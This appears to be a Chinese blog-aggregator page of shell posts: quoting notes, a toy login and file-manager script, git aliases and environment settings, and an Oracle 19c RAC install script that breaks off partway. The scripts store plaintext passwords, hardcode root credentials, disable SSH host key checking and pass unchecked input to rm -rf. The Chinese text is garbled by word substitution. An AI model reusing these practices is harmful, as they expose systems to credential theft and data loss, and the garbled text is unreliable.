关于shell:shell学习笔记

1. Shell Something Out1.1 单引号和双引号的区别、"="前后有空格区别1001.sh文件内容: #! /bin/bash#x = 20;x=20# 单引号的用变量x: hello $x worldecho '单引号的用变量x: hello $x world'# 没引号的变量x: hello 20 worldecho 没引号的变量x: hello $x world# 双引号的变量x: hello 20 world echo "双引号的变量x: hello $x world"等号前后有空格,不一样: 第3行的内容是: 20赋值给变量x; 第2行就不是了(它是相等运算), 留神!单引号中的"$变量"会当做字符串原样输入, 不会计算变量; 双引号会!没引号也会!2. Have a Good Command3. File In, File Out4. Texting and Driving5. Tangled Web? Not At All!6. The backup Plan7. The Old-boy Network8. Put on the Monitor's Cap9. Administration Calls

September 26, 2023 · 1 min · jiezi

关于shell:模拟Linux文件管理员系统shell实现

模仿Linux文件管理员零碎-shell实现注:此脚本仅供学习应用,具体须要依据理论状况进行测试调整。 1 零碎要求 2 脚本执行成果2.1 管理员登录成果 2.2 普通用户登录成果 2.3 明码文件格式用空格隔开,从左往右顺次为:用户名 明码 是否为管理员(1为管理员0为普通用户) 是否被锁定(1被锁定0为解锁) 3 实现脚本[root@waluna ~]# cat Log_in.sh#!/bin/bash##**************************************************#Author: Xan_Yum#QQ: 7993167#Email: waluna@qq.com#Version: 1.0#Date: 2022-06-12#FileName: Log_in.sh#Description: The test script#URL: https://blog.waluna.top#Copyroght (C): 2022 ALL rights reserved#**************************************************############################## 函数区 ################################ 参数获取ARGS(){ USER_PASSWD=`grep -E "^${USER} " auth.pass` USERR=`echo $USER_PASSWD | cut -d' ' -f1` PASSWDR=`echo $USER_PASSWD | cut -d' ' -f2` ADMIN=`echo $USER_PASSWD | cut -d' ' -f3` LOCK=`echo $USER_PASSWD | cut -d' ' -f4`}# 创立新用户NEW_USER(){ read -p "请输出要创立的用户名:" USER ARGS if [ -n "$USERR" ];then echo "用户已存在" if [ -d $USER ];then echo "${USER} `date +%F_%T`" > ${USER}/${USER}.log else mkdir $USER echo "${USER} `date +%F_%T`" > ${USER}/${USER}.log fi else read -sp "请输出新用户的明码:" PASSWD echo "${USER} ${PASSWD} 0 0" >> auth.pass if [ -d $USER ];then echo "${USER} `date +%F_%T`" > ${USER}/${USER}.log else mkdir $USER echo "${USER} `date +%F_%T`" > ${USER}/${USER}.log fi echo "${USER}用户创立实现" fi}# 删除旧用户DEL_USER(){ read -p "请输出要删除的用户名:" USER ARGS if [ -n "$USERR" ];then sed -ri.bak "/^${USER}/d" auth.pass rm -rf ${USER} echo "${USER}用户已删除" else echo "${USER}用户不存在" fi}# 解锁用户UNLOCK_USER(){ read -p "请输出要解锁的用户名:" USER ARGS if [ -n "$USERR" ];then if [ ${LOCK} -eq 1 ];then sed -ri.bak "s/^(${USERR}.* )1$/\10/" auth.pass echo "${USERR}用户已解锁" else echo "${USERR}用户没有被锁定" fi else echo "您输出的用户名不存在" fi}# 权限治理PRI_MAN(){ read -p "请输出要设置权限的用户名:" USER ARGS if [ -z "${USER}" ];then echo "用户名不能为空!" elif [ "${USER}" = "admin" ];then echo "admin用户不容许更改" elif [ -n "$USERR" ];then read -p "请输出要设置的权限(0为普通用户,1为管理员):" PRI if [ -z "$PRI" ];then echo "请输出 0|1 " elif [ ${PRI} -eq 0 ];then sed -ri.bak "s/^(${USERR}.*) . (.)$/\1 0 \2/" auth.pass echo "已将${USERR}用户设置为普通用户" elif [ ${PRI} -eq 1 ];then sed -ri.bak "s/^(${USERR}.*) . (.)$/\1 1 \2/" auth.pass echo "已将${USERR}用户设置为管理员用户" else echo "请输出 0|1 " fi else echo "您输出的用户名不存在" fi}# 管理员菜单ADMIN_MENU(){ # 这里应用select循环,导致实现性能后不会主动打印菜单,须要回车后能力显示。 PS3="请输出(1-5,间接回车会从新打印菜单):" select MENU in 创立新用户 删除旧用户 解锁用户 权限治理 退出;do case $REPLY in 1) NEW_USER ;; 2) DEL_USER ;; 3) UNLOCK_USER ;; 4) PRI_MAN ;; 5) exit ;; *) echo "输出谬误,请从新输出!" ;; esac done}# 新建文本文件NEW_FILE(){ read -p "请输出要创立的文件名:" FILENAME if [ -z ${FILENAME} ];then echo "文件名不能为空!" elif [ -d ${FILENAME} ];then echo "${FILENAME}是一个目录" if [ -f ${FILENAME}/${FILENAME} ];then echo "文件已存在!" else touch ${FILENAME}/${FILENAME} echo "${FILENAME}/${FILENAME}文本文件创立实现" fi elif [ -f ${FILENAME} ];then echo "文件已存在!" else touch ${FILENAME} echo "${FILENAME}文本文件创立实现" fi}# 新建目录NEW_DIR(){ read -p "请输出要创立的目录名:" DIRNAME if [ -z ${DIRNAME} ];then echo "目录名不能为空!" elif [ -d ${DIRNAME} ];then echo "目录已存在!" else mkdir ${DIRNAME} echo "${DIRNAME}目录创立实现" fi}# 统计文档信息ARCHIVE_FILE(){ read -p "请输出要统计的文件名:" FILENAME if [ -z ${FILENAME} ];then echo "文件名不能为空!" elif [ -f ${FILENAME} ];then echo "${FILENAME}文件的行数为`wc -l ${FILENAME}|cut -d' ' -f1`" echo "${FILENAME}文件的单词数为`wc -w ${FILENAME}|cut -d' ' -f1`" echo "${FILENAME}文件的字符数为`wc -c ${FILENAME}|cut -d' ' -f1`" else echo "${FILENAME}文件不存在" fi}# 权限查看PRI_VIEW(){ read -p "请输出要查看的文件名:" FILENAME if [ -z ${FILENAME} ];then echo "文件名不能为空!" elif [ -f ${FILENAME} ];then if [ -r ${FILENAME} -a -w ${FILENAME} -a -x ${FILENAME} ];then echo "Readable & Writeable & Executable" elif [ -r ${FILENAME} -a -x ${FILENAME} ];then echo "Readable & Executable" else echo "其余权限" fi else echo "${FILENAME}文件不存在" fi}# 普通用户菜单USER_MENU(){ PS3="请输出(1-5,间接回车会从新打印菜单):" select MENU in 新建文本文件 新建目录 统计文档信息 权限查看 退出;do case $REPLY in 1) NEW_FILE ;; 2) NEW_DIR ;; 3) ARCHIVE_FILE ;; 4) PRI_VIEW ;; 5) exit ;; *) echo "输出谬误,请从新输出!" ;; esac done}# 判断是否为管理员ADMIN_JUDGE(){ if [ ${ADMIN} -eq 1 ];then echo "以后角色为管理员" ADMIN_MENU elif [ ${ADMIN} -eq 0 ];then echo "以后角色为普通用户" USER_MENU fi}# 判断用户明码是否正确PASSWD_JUDGE(){ if [ "${PASSWD}" = "${PASSWDR}" ];then echo "登录胜利!!!" ADMIN_JUDGE else echo "明码或用户名谬误" fi}# 判断用户账号是否锁定LOCK_JUDGE(){ if [ ${LOCK} -eq 1 ];then echo "${USER}用户已被锁定,请分割管理员!!!" exit 1 elif [ ${LOCK} -eq 0 ];then #echo "${USER}用户能够失常登录" PASSWD_JUDGE fi}# 判断用户是否存在EXIST_JUDGE(){ if [ -z ${USERR} ];then echo "用户不存在,请先创立用户!" exit 1 else LOCK_JUDGE fi}# 明码数错三次后锁定账号LOCK_USER(){ if [ "$USERR" = "admin" ];then sed -ri.bak "s/^(${USERR}.* )0$/\11/" auth.pass echo "已锁定!!!" chmod 0 Log_in.sh else sed -ri.bak "s/^(${USERR}.* )0$/\11/" auth.pass echo "${USERR}用户已被锁定,请分割管理员!!!" fi}############################## 功能区 ###############################i=0read -p "请输出登录名:" USERwhile ((i<3));do read -sp "请输出明码:" PASSWD echo if [ -z $USER ];then echo "请输出登录名!" exit 1 fi if [ -z $PASSWD ];then echo "请输出明码!" exit 1 fi ARGS EXIST_JUDGE let i++doneLOCK_USER[root@waluna ~]# 4 密码文件[root@waluna ~]# cat auth.passadmin 123456 1 0waluna waluna 0 0[root@waluna ~]# 5 阐明此脚本还存在一些问题,比方密码文件不提前创立会导致无奈登录而报错;菜单应用select实现,不能自定义格局等。大家能够自行批改脚本,实现更残缺的性能。 ...

August 24, 2023 · 4 min · jiezi

关于shell:分享我的-Shell-环境git-操作效率提升-100

换到一个新的开发环境,蛮多货色要折腾的。顺便整顿了一下,下次换新电脑也不便。 git:不应用 rebase,要加上这个设置: git config --global pull.rebase false全局配置工作用户名和邮箱,不然会影响到你提交代码: git config --global user.name "???"git config --global user.email "???@???.com"<!--more--> 拉代码的时候强制应用 http 下载: [url "git@code.???.com:"] insteadOf = http://code.???.com/ssh:更改 ssh 端口号: vim ~/.ssh/configHost code.???.comPort 22222非凡权限的 ssh-key,能够用以下命令增加: ssh-add ~/.ssh/id_rsa_???env:一些罕用的环境变量: alias l="ls -alht"alias q="exit"alias c="clear"alias aa="sshpass -p '???' ssh -p22 [my-name]@[host1]"alias ss="sshpass -p '???' ssh -p22 [my-name]@[host2]"alias git='LANG=en_US.UTF-8 git'alias gd="git diff"alias gs="git status"alias ga="git add ."alias gh="git push"alias gl="git pull"alias ghl="git push origin [my-name]"alias glm="git pull origin master"alias ua='for dir in `ls`; do if [ -d $dir ]; then echo -e "----\n${dir}\n----";cd $dir;pwd=`pwd`;echo -e "----------> ${pwd}\n";git checkout master;git pull origin master;cd ..; fi; done;'alias subl='/Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl'export GOPATH=/Users/[my-name]/goexport GOPROXY='https://goproxy.cn,direct'export GONOPROXY='code.???.com'export GONOSUMDB='code.???.com'export GOPRIVATE='code.???.com'export GOSUMDB='sum.golang.google.cn'export GO111MODULE=onexport HOMEBREW_GITHUB_API_TOKEN=???export PATH="/Users/[my-name]/env/bin:/Users/[my-name]/go/bin:/usr/local/sbin:/opt/homebrew/bin:$PATH"ua 命令能够把以后文件夹下的所有 git 工程拉取到最新的 master 分支。 ...

June 24, 2023 · 1 min · jiezi

关于shell:shell-常用命令总结

1 set -euxo pipefail 是在 Bash 脚本中应用的一行非凡指令(也称为 shebang 或 shebang line),用于设置脚本的执行选项和行为。以下是对每个选项的解释: set -e: 如果任何命令的退出状态码非零(表示命令执行失败),则立刻进行脚本的执行。这有助于在脚本中处理错误和异常情况。set -u: 当拜访未定义的变量时,会引发谬误并进行脚本的执行。这有助于防止意外应用未定义的变量。set -x: 在执行每个命令之前,输入该命令及其参数。这对于调试脚本很有用,能够查看每个命令的执行状况。set -o pipefail: 如果管道中的任何一个命令失败(退出状态码非零),则整个管道的退出状态码为非零。默认状况下,管道的退出状态码是最初一个命令的退出状态码。通过设置 pipefail,能够确保在管道中任何一个命令失败时,整个管道被认为是失败的。综上所述,set -euxo pipefail 的作用是在脚本中启用严格的谬误检查和调试输入。它确保在任何命令失败时立刻进行脚本执行,检测未定义的变量,输入每个命令的执行状况,并将整个管道视为失败,如果其中一个命令失败。这有助于编写更强壮和牢靠的脚本,并疾速发现和修复谬误。

June 6, 2023 · 1 min · jiezi

关于shell:Shell在日常工作中的应用实践

作者:京东物流 李光新 1 Shell能够帮咱们做什么作为一名测试开发工程师,在与linux服务器交互过程中,大都遇到过以下这些问题: •一次申请多台服务器,多台服务器须要装置雷同软件,配置雷同的环境,同样的操作须要反复屡次; •工作中常常会应用命令行命令来实现咱们的一些操作,然而有些命令使用率很高,而且很长,每次都全副敲进去势必会节约很多工夫(比方查日志) 长此以往,以上两个问题可能会导致:重复性工作,集体能力得不到任何进步,浪费时间,而且还容易出错,作为一名技术人员,当同一个操作反复了三次,咱们就应该思考是否能够通过工具来帮咱们实现。 而shell脚本正好善于,把简单问题分解成简略的小问题,而后再把各个局部性能组合起来解决简单问题。 当然,有些命令咱们只能节俭三五秒的工夫,短期看不到工夫的节俭,然而从长期来看这个价值将是微小的。咱们能够将这些工夫专一于更有意义,更重要的事件 - 进步生命品质。 2 性能介绍Shell脚本语言的劣势在于解决偏操作系统底层的业务,例如,Linux零碎外部很多利用是用shell脚本语言开发的,因为有泛滥的Linux系统命令为它作撑持,特地是Linux正则表达式和三剑客grep、awk、sed等命令。 对于一些常见的零碎脚本,应用shell开发会更简略、更疾速。就像让软件一键自动化装置、优化,监控报警脚本,软件启动脚本,日志剖析脚本等,尽管PHP和Python语言也能做到这些,然而因为把握难度、开发效率和开发习惯等,可能就不如shell脚本语言风行及有劣势了。 shell是一个C语言编写的脚本语言,它是用户与linux的桥梁,用户输出命令交给shell来解决,shell将相应的操作传递给内核,内核把解决的后果输入给用户。 可参考如下流程示意图: 简略来说:shell就是一个用户跟操作系统之间交互的命令解释器 3 根本用法上面首先来介绍下日常应用较多的根本指令: 3.1 文件拷贝 3.2 文件合并有时候,要遇到将多个文件合并成一个的需要,除了反复的复制和粘贴,还能够通过简略指令来辅助实现。 cat命令 默认地,cat命令能够间接接管多个参数,这样,通过重定向能够很不便地合并文件: 成果如下: 4 案例分享4.1 主动增加正文上面咱们从日常工作动手,和大家一起来看下,shell有哪些进步工作效率的利用场景~ 首先,咱们编写的脚本有时候并不仅仅是咱们集体应用,可能是团队外部应用,所以通常在脚本正式编写前,通常须要增加局部正文,注明脚本的作用,创立日期,创建人等信息; 而如果编写脚本比拟多的话,这些重复性工作就会成为咱们的累赘,所以,咱们又能够将这些交给shell来帮咱们实现,用shell脚本来解决创立shell脚本的重复性工作; 上面给大家分享一个shell脚本的模板文件,把它拷贝到用户的根目录下并命名成 .vimrc 名称,这样咱们当前再次关上以 .sh结尾的文件时就会成主动生成一些正文信息,只有稍稍批改一下即可如图所示: vimrc文件是vim的环境设置文件,在启动vim时,以后用户根目录下的.vimrc文件会被主动读取,该文件能够蕴含一些设置甚至脚本,所以,个别会在.vimrc文件中依据集体爱好进行一些自定义设置; 上面脚本我都正文了具体含意,可参考: 实现成果展现: 4.2 内存使用率监控预警日常工作中,常常会遇到因为服务器被日志打满而不得不重启的场景,而对于一些必要的单据,就须要时常留神日志的备份,所以能够编写如下一个脚本,来做揭示; 如下脚本实现了,当服务器内存使用率超过90%时,提醒保留日志操作,如果未超过90%,则不作任何解决; 实现成果展现: 4.3 后盾服务启动/进行/重启脚本对于一些小范畴应用,暂未接入j-one部署的服务器,每次后盾服务代码更新,代码部署都是一项比拟繁琐的工作,而这就到了shell施展威力的时候了。 实现原理就是,将进行服务和启动服务须要执行的命令写进脚本,通过shell交互来实现,外加一些必要的判断逻辑,比方: 1.执行启动服务时判断服务是否正在启动中; 2.执行进行服务时判断依据交互条件筛选出的服务是否只有一个; 3.执行重启服务时判断服务是否正在启动中; 4.保障两头所有交互过程中的唯一性,防止失误将其他人的服务进行 实现脚本如下: 实现成果展现: 该脚本可在团队外部通用,只须要输出工作类型编号和对应工作关键字两步即可,脚本在执行过程中会主动提醒你确认执行工作对象是否正确,免得误伤; 1)进行服务 2)启动服务: 3)重启服务 大大减少了团队服务部署的工作量~ 4.4 函数化封装对于一些比较复杂的性能,或者须要屡次执行的性能,shell也反对将性能封装为函数,间接执行函数即可; 比方服务器的部署根本能够分为以下几个步骤: ...

April 20, 2023 · 1 min · jiezi

关于shell:Linux7上安装Oracle-RAC-19C一键配置脚本后续补充其他版本

Linux7上装置Oracle RAC 19C一键配置脚本(后续补充其余版本)#!/bin/bash## Linux7上装置Oracle数据库一键配置脚本# 装置介质所在目录# You must put the installation package in the /tmp/soft directory, Like this:# /tmp/soft/# ├── 11# ├── 12# ├── 19# │ ├── LINUX.X64_193000_db_home.zip# │ ├── LINUX.X64_193000_grid_home.zip# │ ├── p34773504_190000_Linux-x86-64_OJVM+GI_RU_19.18.0.0.230117.zip# │ ├── p6880880_190000_Linux-x86-64-OPatch_12.2.0.1.36.zip# │ └── patch# │ ├── 34762026# │ ├── 34786990# │ ├── PatchSearch.xml# │ └── README.html# └── compat-libstdc++-33-3.2.3-72.el7.x86_64.rpm# 定义变量# db_type | si/SI --单实例;rac/RAC --RAC(两节点)export db_type=RAC# 定义 Public IP、Virtual IP、SCAN IP 等业务网段 IP 地址信息export PubIP1=192.168.11.31export hostname1=Jeff-Test-RAC01export PubIP2=192.168.11.32export hostname2=Jeff-Test-RAC02export VIP1=192.168.11.33export VIP1NAME=Jeff-Test-VIP1export VIP2=192.168.11.34export VIP2NAME=Jeff-Test-VIP2export SCANIP=192.168.11.35export SCANNAME=Jeff-Test-SCAN# Pub_Mask 业务网络子网掩码,数字 23 或者 255.255.254.0 均反对export Pub_Mask=23export scanPort=1525export cluster_name=Jeff-Testexport ORA_SID_PREFIX=Jeff0export DB_NAME=Jeffexport DB_UNIQUE_NAME=JeffTestexport ORA_SID1=Jeff01export ORA_SID2=Jeff02# 定义心跳网络 Private IP 信息export PrivIP1=11.11.11.31export Priv1NAME=Jeff-Test-Priv1export PrivIP2=11.11.11.32export Priv2NAME=Jeff-Test-Priv2# Priv_Mask 心跳网络子网掩码,数字 23 或者 255.255.254.0 均反对export Priv_Mask=24# ntpserver 用于配置 chronyd 服务export ntpserver=11.11.11.1# oraver:装置的数据库版本:11、12、18、19、23export oraver=19# 指定root明码、oracle&grid明码、DB治理明码export rootpw="Test01"export ORAPWD="Oracle_19C" # oracle && grid 设置雷同明码export db_admin_pwd="Oracle_19C" # 预设数据库治理应用的对立明码# needcdb 指定是否Y(y)须要 CDB 容器数据库,needpdb 是否Y(y)须要创立 PDB(限度创立 1 个),PDB_SID 指定 PDB 名字export needcdb=Yexport needpdb=yexport PDB_SID=Jeff_PDB# 指定内存、FRA参数设置,如下是很小的参数了,再小会导致装置失败export sgasize=1800MBexport sga_max_size=2000MBexport pgasize=600MBexport recovery_size=18000MBexport processes=5000export redoLogFileSize=2048export useOMF=true# 软件装置目录设置export rootdir=/u01export ORA_BASE=$rootdir/app/oracleexport ORA_HOME=$ORA_BASE/product/19.3.0/db_1export ORA_INV=$rootdir/app/oraInventoryexport GI_BASE=$rootdir/app/gridexport GI_HOME=$rootdir/app/19.3.0/gridexport logfile=/tmp/install_$(date +%F).log# ASM 磁盘组调配# mapper_dir 指定提供给ASM治理的磁盘辨认门路,或者 /dev/mapper 等export mapper_dir=/dev# sd : 提供给ASM治理的磁盘前缀export mapper_prefix=sd# asm_ocr_disks: OCR\Voting 磁盘组,多组应用空格\,\;等字符隔开,倡议命令行应用,,不容易凌乱;不写前缀export asm_ocr_disks="b c d"export asm_ocr_dir=OCR# asm_fra_disks:归档日志、闪回区 磁盘组export asm_fra_disks="e f g"export asm_fra_dir=FRA# asm_data_disks:数据文件 磁盘组;默认 redo 寄存 $asm_data_dir 和 $asm_fra_dir,须要另外配置则调整脚本export asm_data_disks="h"export asm_data_dir=DATA# 指定是否须要格式化磁盘 Y(y)格式化,其余不执行export need_format=y# 装置介质指定export softroot=/tmp/softexport softdir=$softroot/$oraverexport db_zip_file=LINUX.X64_193000_db_home.zipexport grid_zip_file=LINUX.X64_193000_grid_home.zipexport opatch_zip_file=p6880880_190000_Linux-x86-64-OPatch_12.2.0.1.36.zipexport ru=34762026############################################ 以上是主要参数定义,以下局部可不设置 ############################################# 以下局部没有参数设置split1() { echo -e "\033[1;40;33m\n\n ===================================== $(date +'%F %T') =====================================\n$1\033[0m"}result_err() { echo -e "\033[5;31m\n (*>﹏<*)(*>﹏<*)(*>﹏<*) $1 (*>﹏<*)(*>﹏<*)(*>﹏<*)\n\033[0m"}result_ok() { echo -e "\n\033[32m (*^_^*)(*^_^*)(*^_^*) $1 (*^_^*)(*^_^*)(*^_^*)\033[0m\n"}# db_zip_file 默认值 LINUX.X64_193000_db_home.zipif [ -z ${db_zip_file} ];then db_zip_file=LINUX.X64_193000_db_home.zipfi# grid_zip_file 默认值 LINUX.X64_193000_grid_home.zipif [ -z ${grid_zip_file} ];then grid_zip_file=LINUX.X64_193000_grid_home.zipfi# opatch_zip_file 默认值 p6880880_190000_Linux-x86-64.zip,每次下载最新文件if [ -z ${opatch_zip_file} ];then opatch_zip_file=p6880880_190000_Linux-x86-64.zipfi# 须要apply的RU,不 apply 则置空export ru_zip_file=$softdir/p${ru}*.zip# 辨认 RU 对应的 zip 文件export RUs=$softdir/patch/$ru# 装置时须要同时装置的 RU 绝对路径if [ -d $softroot ] && [ ! -d $softdir/patch ];then mkdir -p $softdir/patchfiecho "################ Begin : $(date +'%F %T') ################">$logfilechmod -R 777 $softrootexport db_install_file=$softdir/$db_zip_fileexport grid_install_file=$softdir/$grid_zip_fileexport opatch_install_file=$softdir/$opatch_zip_fileexport upper_db_type=$(echo $db_type | tr [:lower:] [:upper:])if [ ! -f ${db_install_file} ];then result_err "Error: DB install file not found!" >>$logfile exit 1 elif [ ${upper_db_type} == "RAC" ] && [ ! -f ${grid_install_file} ];then result_err "You select Db type as RAC, But can not found GRID install file!">>$logfile exit 1 elif [ -n ${ru} ] && [ ! -f ${ru_zip_file} ];then result_err "You Want to apply an RU, But not found zip file!">>$logfile exit 1 if [ ! -f ${opatch_install_file} ];then result_err "You choose to apply RU and must update OPatch">>$logfile exit 1 fifisplit1 "# 依照输出参数解析各文件压缩包名如下,The input installation media is analyzed as follows:DB install file: $db_install_fileGRID install file: $grid_install_fileOPatch install file: $opatch_install_fileRU zip file: $ru_zip_file">>$logfilesplit1 "# 依照输出参数解析各文件压缩包名如下,The input installation media is analyzed as follows:DB install file: $db_install_fileGRID install file: $grid_install_fileOPatch install file: $opatch_install_fileRU zip file: $ru_zip_file"sleep 5# 如下实现掩码数字计算:255.255.254.0 转换 23export tmp1=$(echo $Pub_Mask | grep -o '\.' | wc -l)if [ $tmp1 -eq 3 ]; then export Pub_Mask=$(echo $Pub_Mask | sed 's/\./ + /g;s/255/8/g;s/254/7/g;s/252/6/g;s/248/5/g;s/240/4/g;s/224/3/g;s/192/2/g;s/128/1/g' | bc)elif [ $tmp1 -gt 0 ]; then result_err "# 请输出正确的 Public 网卡子网掩码($Pub_Mask)">>$logfile exit 1elif [ $Pub_Mask -lt 32 ] && [ $Pub_Mask -gt 1 ] && [ $tmp1 -eq 0 ]; then echo -eelse result_err "# 请输出正确的 Public($Pub_Mask) 网卡掩码位数字 2-31">>$logfile exit 1fiecho "# SCAN_IP: $SCANIP/$Pub_Mask" >>$logfileexport tmp2=$(echo $Priv_Mask | grep -o '\.' | wc -l)if [ $tmp2 -eq 3 ]; then export Priv_Mask=$(echo $Priv_Mask | sed 's/\./ + /g;s/255/8/g;s/254/7/g;s/252/6/g;s/248/5/g;s/240/4/g;s/224/3/g;s/192/2/g;s/128/1/g' | bc)elif [ $tmp2 -gt 0 ]; then result_err "# 请输出正确的 Private 网卡子网掩码($Priv_Mask)">>$logfile exit 1elif [ $Priv_Mask -lt 32 ] && [ $Priv_Mask -gt 1 ] && [ $tmp2 -eq 0 ]; then echo -eelse result_err "# 请输出正确的 Private($Priv_Mask) 网卡掩码位数字 2-31">>$logfile exit 1fiecho "# PrivIP1: $PrivIP1/$Priv_Mask" >>$logfile# 获取子网函数get_ipgate() { #ip地址转换整数 ipgate_int=$(echo $1 | awk -F'.' '{print $1*(256^3) + $2*(256^2) + $3*256 + $4}') #主机位:32 - $2 #按位运算,右移,ip地址移除主机位,保留网络位 #按位运算,左移,ip地址以0补全主机位 ((ipgate = ((ipgate_int >> ((32 - $2)))) << ((32 - $2)))) #获取子网:整数转换ip地址,整数右移取低8位 echo $((ipgate >> 24 & 0xFF)).$((ipgate >> 16 & 0xFF)).$((ipgate >> 8 & 0xFF)).$((ipgate & 0xFF))}export scan_subnet=$(get_ipgate $SCANIP $Pub_Mask)export priv_subnet=$(get_ipgate $PrivIP1 $Priv_Mask)echo "# pub-subnet: $scan_subnet ; Priv-subnet: $priv_subnet">>$logfilenetcard_name() { findIP=$1 # 依照网卡名行,结尾为数字编号,进行过滤抉择 for devEnum in $(ip link show | grep ^[0-9]\\+: | awk -F ' ' {'print $2'}); do # 去掉后缀冒号 devName=${devEnum%:} # 去掉可能的子网卡接口后缀 devName=${devName%@*} if [ $(ip addr show $devName | grep -c $findIP) -gt 0 ]; then echo $devName break fi done}if [ "$(hostname)" == "$hostname1" ]; then pub_netcard=$(netcard_name $PubIP1) priv_netcard=$(netcard_name $PrivIP1) echo "# pub_netcard: $pub_netcard ; priv_netcard: $priv_netcard" >>$logfilefi# 提取 ASM 磁盘信息,转换后提供 for 循环应用(-->21 asm 配置)export asm_ocr_disks=$(echo $asm_ocr_disks | sed 's/,/ /g' | sed 's/\./ /g' | sed 's/;/ /g' | sed 's/\// /g' | sed 's/\\/ /g')export asm_fra_disks=$(echo $asm_fra_disks | sed 's/,/ /g' | sed 's/\./ /g' | sed 's/;/ /g' | sed 's/\// /g' | sed 's/\\/ /g')export asm_data_disks=$(echo $asm_data_disks | sed 's/,/ /g' | sed 's/\./ /g' | sed 's/;/ /g' | sed 's/\// /g' | sed 's/\\/ /g')# 确认长期安装文件存储目录 /tmp 存在,且可用空间大于 10GBecho "# $(hostname) 查看 /tmp 目录存在,且可用空间大于 10GB:" >>$logfileif [ ! -d /tmp ]; then echo "# /tmp Filesystem does not exist,Create it." >>$logfile mkdir /tmpfiexport tmpsizemb=$(cd /tmp && df -PmT . | grep -v Filesystem | awk '{print $5}')if [ $tmpsizemb -lt 10240 ]; then cd /tmp && df -PmT . result_err "# /tmp Filesystem has size $tmpsizemb MB, less than 10G, exit this scripts." result_err "# /tmp Filesystem has size $tmpsizemb MB, less than 10G, exit this scripts." >>$logfile exit 1fi# 0. yum 查看及装置依赖包split1 "# 0. 查看 yum 装置源是否可用,并装置依赖包($(hostname)):"if [ $(hostname) == "$hostname1" ]; then split1 "# 0. 查看 yum 装置源是否可用,并装置依赖包($(hostname)):" >>$logfile echo '#!/bin/bash' >/tmp/yumlist.sh cat >>/tmp/yumlist.sh <<yumlistexport yumlist=\$(yum list 2>/dev/null | wc -l)if [ \$yumlist -gt 2000 ]; then export yumusable=1 echo "# yum avaliable on \$(hostname)"else export yumusable=0 echo "# YUM Unavailable on \$(hostname), Try to mount /dev/cdrom make it available" if [ -h /dev/cdrom ];then echo "# /dev/cdrom exist, mount it to /mnt for use" mount /dev/cdrom /mnt/ if [ ! -d /etc/yum.repos.d/bak ]; then mkdir /etc/yum.repos.d/bak fi mv /etc/yum.repos.d/*.repo /etc/yum.repos.d/bak/ echo "[Local_mnt]name=Local_mntbaseurl=file:///mntenabled=1gpgcheck=0" >/etc/yum.repos.d/Local_mnt.repo yum -y clean all yum makecache else echo "# /dev/cdrom does not exist, do nothing." fi if [ \$(yum list 2>/dev/null | wc -l) -lt 2000 ];then echo "# Yum is not available on \$(hostname), try Failed" exit 1 fifi# Install need rpmsecho "# Installing need rpms on \$(hostname) ... ..."sleep 5yum install -y bc binutils compat-libcap1 compat-libstdc++-33 elfutils-libelf elfutils-libelf-devel fontconfig-devel glibc glibc-devel ksh libaio libaio-devel libXrender libXrender-devel libX11 libXau libXi libXtst libgcc libstdc++ libstdc++-devel libxcb make policycoreutils policycoreutils-python smartmontools sysstat net-tools nfs-utils python python-configshell python-rtslib python-six targetcli xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils xorg-x11-fonts-Type1 xorg-x11-apps xclock ncurses-devel redhat-lsb-core readline-devel vim-enhanced bzip2 chrony iotop xterm lsof tree expect gcc-c++ zip unzip 2>/dev/nullyumlist chmod 777 /tmp/yumlist.sh sh /tmp/yumlist.sh >>$logfile if [ $? -ne 0 ]; then result_err "# $PubIP1 执行 yumlist.sh, Failed" result_err "# $PubIP1 执行 yumlist.sh, Failed" >>$logfile cat /tmp/yumlist.sh >>$logfile exit 1 else result_ok "# $PubIP1 执行 yumlist.sh, successful" result_ok "# $PubIP1 执行 yumlist.sh, successful" >>$logfile fi expect >>$logfile <<EOFset timeout 100spawn ssh -o StrictHostKeyChecking=no $PubIP2expect { "(yes/no)" {send "yes\r"; exp_continue} "password:" {send "$rootpw\r"}}expect "root@*" {send "if \[ ! -d /tmp \]; then mkdir /tmp; fi\r"}expect "root@*" {send "exit\r"}expect eofEOF # 近程 $hostname2 做雷同脚本 # 拷贝脚本到对端 echo "# 近程 $hostname2 执行雷同 yumlist 脚本" echo "# 近程 $hostname2 执行雷同 yumlist 脚本" >>$logfile if [ $(grep $PubIP2 ~/.ssh/authorized_keys 2>/dev/null | wc -l) -lt 1 ];then expect >>$logfile <<EOFset timeout 100spawn scp /tmp/yumlist.sh $PubIP2:/tmp/expect { "password:" {send "$rootpw\r"}}expect eofEOF else scp /tmp/yumlist.sh $PubIP2:/tmp/ fi if [ $? -ne 0 ]; then result_err "# scp yumlist.sh 到 $PubIP2, Failed" result_err "# scp yumlist.sh 到 $PubIP2, Failed" >>$logfile exit 1 else result_ok "# scp yumlist.sh 到 $PubIP2, successful" result_ok "# scp yumlist.sh 到 $PubIP2, successful" >>$logfile fi # 执行脚本 expect >>$logfile <<EOFset timeout 100spawn ssh $PubIP2expect { "password:" {send "$rootpw\r"}}expect "root@*" {send "sh /tmp/yumlist.sh\r"}expect "root@*" {send "exit\r"}expect eofEOF if [ $? -ne 0 ]; then result_err "# $PubIP2 执行 yumlist.sh, Failed" result_err "# $PubIP2 执行 yumlist.sh, Failed" >>$logfile exit 1 else result_ok "# $PubIP2 执行 yumlist.sh, successful" result_ok "# $PubIP2 执行 yumlist.sh, successful" >>$logfile fielse result_err "# Please run this script on $hostname1 node!" result_err "# Please run this script on $hostname1 node!" >>$logfile exit 1fi# 1. 配置hostssplit1 "# 1. 配置 $(hostname) /etc/hosts 文件:"split1 "# 1. 配置 $(hostname) /etc/hosts 文件:" >>$logfilehostnamectl set-hostname $hostname1 --staticcp /etc/hosts /etc/hosts_$(date +"%Y%m%d_%H%M%S")sed -i "/IP\|^$\|$PubIP1\|$PubIP2\|$PrivIP1\|$PrivIP2\|$VIP1\|$VIP2\|$SCANIP/d" /etc/hostsecho "# Public IP$PubIP1 $hostname1$PubIP2 $hostname2# Private IP$PrivIP1 $Priv1NAME$PrivIP2 $Priv2NAME# Virtual IP (VIP)$VIP1 $VIP1NAME$VIP2 $VIP2NAME# SCAN IP$SCANIP $SCANNAME" >>/etc/hostscat /etc/hosts >>$logfile# 拷贝脚本到对端echo "# 拷贝 /etc/hosts 文件到 $hostname2 :" echo "# 拷贝 /etc/hosts 文件到 $hostname2 :" >>$logfileexpect >>$logfile<< EOFset timeout 100spawn scp /etc/hosts $PubIP2:/etc/expect { "password:" {send 